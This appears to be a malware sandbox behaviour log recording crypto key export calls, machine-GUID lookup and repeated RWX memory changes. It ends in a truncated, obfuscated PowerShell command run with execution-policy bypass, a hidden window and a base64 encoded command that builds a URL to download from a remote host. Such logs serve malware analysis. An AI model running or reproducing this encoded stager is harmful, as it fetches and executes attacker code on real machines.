 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6430
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6430
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6430
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6660
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6660
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6430
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6430
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6430
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6430
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6890
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6890
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6890
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6430
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6430
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6430
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6740
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6740
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6740
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6740
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6740
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6740
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6740
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6740
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6dd0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6dd0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6dd0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6e40
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6e40
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6ba0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6ba0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6e40
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6e40
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5c6e40
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5a7350
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5a7350
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5a7350
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5a7350
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5e7670
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b5e7670
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000000025a250
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002e117a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002e117a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002e117a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002e11260
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002e11260
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002e117a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002e117a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002e117a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002e117a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 7213056
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002340000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002a20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769cd000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769d4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefbca5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefbca5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefefc4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdcd1000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769ba000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002880000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000000007304c000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002a20000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769cd000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769d4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefbca5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefefc4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdcd1000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769ba000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 6230016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000023a0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002990000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2704
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2704
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2704
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2704
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2704
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2704
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2704
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769cd000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2704
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769f2000
process_handle: 0xffffffffffffffff
1 0 0
file C:\Users\test22\Desktop\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline C:\Windows\System32\wIndowspOwErsheLL\v1.0\POWeRShElL.EXe "poWERsHElL -EX bYPASs -NOP -W 1 -EC IAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAFsAbgBlAFQALgBzAGUAUgB2AEkAQwBFAFAATwBJAE4AVABNAGEAbgBBAEcARQByAF0AOgA6AFMAZQBjAFUAUgBpAHQAWQBQAHIATwB0AG8AYwBvAEwAIAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAD0AIAAJACAAIAAJACAAIAAgACAAWwBOAGUAVAAuAFMARQBjAHUAUgBpAFQAWQBQAFIAbwB0AG8AQwBvAGwAdAB5AFAAZQBdADoAOgBUAGwAcwAxADIAIAAgACAAIAAgACAAOwAgACAAIAAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAHcARwBlAHQAIAAJAAkACQAJAAkAKABbAGMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQA4ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA0ADcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA5ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQAOAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAGEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQAOQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAEgAYQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADUAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA0ADkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQAzACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABhAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQA3ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBoAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA2ADkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAyADAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABBAFIAXQAgACAAIAAgACAA